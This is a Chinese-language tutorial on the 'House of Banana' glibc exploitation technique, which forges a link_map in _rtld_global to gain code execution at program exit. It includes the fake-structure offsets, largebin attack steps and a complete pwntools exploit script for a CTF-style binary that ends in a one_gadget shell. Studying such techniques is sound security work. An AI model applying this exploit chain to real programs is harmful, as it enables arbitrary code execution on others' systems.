house of banana
字数 1299 2025-08-22 12:22:24
House of Banana 攻击技术详解
概述
House of Banana 是一种针对 glibc 的动态链接器攻击技术,由星盟的 HA1VK 师傅首先发现。该技术在 glibc 2.36 及以下版本中均可使用,主要利用 rtld_global 结构体中的 link_map 指针进行攻击。
利用条件
- 程序能够显式执行
exit函数,或者通过libc_start_main启动的主函数能够正常结束 - 可以进行 largebin attack
- 能够泄露堆地址和 libc 地址
技术原理
House of Banana 攻击的核心在于劫持 rtld_global 结构体中的 link_map 指针。与传统的 IO 劫持虚表不同,这种攻击针对的是动态链接器的内部结构。
关键结构体
struct rtld_global {
struct link_namespaces {
struct link_map* _ns_loaded; // 指向主映射的指针
unsigned int _ns_nloaded; // _dl_loaded 列表中的对象数量
struct r_scope_elem* _ns_main_searchlist;
unsigned int _ns_global_scope_alloc;
unsigned int _ns_global_scope_pending_adds;
struct link_map* libc_map; // 指向 libc.so 的 link_map
struct unique_sym_table _ns_unique_sym_table;
struct r_debug _ns_debug;
} _dl_ns[DL_NNS]; // 命名空间数组
size_t _dl_nns; // 使用的命名空间数量
// ... 其他成员
};
攻击流程
- 程序结束时调用
_dl_fini函数 _dl_fini遍历link_map链表- 对每个
link_map执行其fini_array段中注册的函数 - 攻击者通过伪造
link_map控制执行流
关键执行点:
if (l->l_info[DT_FINI_ARRAY] != NULL) {
ElfW(Addr)* array = (ElfW(Addr)*)(l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr)));
while (i-- > 0)
((fini_t)array[i])(); // 目标执行点
}
利用步骤
1. 定位关键指针
找到第三个 link_map 的 l_next 指针位置:
p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
2. 伪造 link_map 结构
需要伪造以下关键字段:
-
基本检查绕过:
fake+0x28 = fake(绕过l == l->l_real检查)fake+0x314 = 0x1c(设置l_init_called标志)
-
控制执行流:
fake+0x110 = fake+0x40(指向 DT_FINI_ARRAY)fake+0x48 = fake+0x58(指向函数指针数组)fake+0x58 = shell(要执行的函数地址,如 one_gadget)
-
控制循环次数:
fake+0x120 = fake+0x48(指向 DT_FINI_ARRAYSZ)fake+0x50 = 8(设置循环次数)
3. 利用 largebin attack 劫持指针
- 准备两个不同大小的 chunk (如 0x428 和 0x418)
- 释放较大的 chunk 使其进入 largebin
- 分配更大的 chunk 确保前一个 chunk 留在 largebin
- 释放较小的 chunk 进入 unsorted bin
- 修改 largebin chunk 的
bk_nextsize为目标地址-0x20 - 分配大 chunk 触发 largebin attack,将目标地址写入
link_map的l_next指针
示例利用代码
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('libc-2.27.so')
def add(index, size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))
def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))
def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context:\n", content)
def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))
# 泄露libc和堆地址
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
add(3, 0x500)
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ec090
print(hex(libc_base))
edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x250
print(hex(heap_base))
# 计算关键地址
rtld_global = libc_base + 0x62a060
link_map3 = rtld_global + 0x1ccfb8
one_gadget = libc_base + 0x4f302
# largebin attack
free(2)
edit(0, p64(libc_base + 0x3ec090)*2 + p64(heap_base + 0x250) + p64(link_map3 - 0x20))
add(4, 0x500)
# 伪造link_map
fake_addr = heap_base + 0xb90
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x48-0x10, b'\x00') + p64(fake_addr+0x58) + p64(8) + p64(one_gadget)
payload = payload.ljust(0x110-0x10, b'\x00') + p64(fake_addr+0x40)
payload = payload.ljust(0x120-0x10, b'\x00') + p64(fake_addr+0x48)
payload = payload.ljust(0x314-0x10, b'\x00') + p64(0x1c)
edit(2, payload)
# 触发exit执行
io.sendlineafter('Your choice:\n', str(5))
io.interactive()
防御措施
- glibc 高版本对
link_map指针增加了保护 - 确保堆内存不可被任意写入
- 及时更新 glibc 版本
参考资源
通过这种技术,攻击者可以在程序退出时获得控制权,执行任意代码。理解这种攻击方式对于二进制安全研究和防御措施的开发具有重要意义。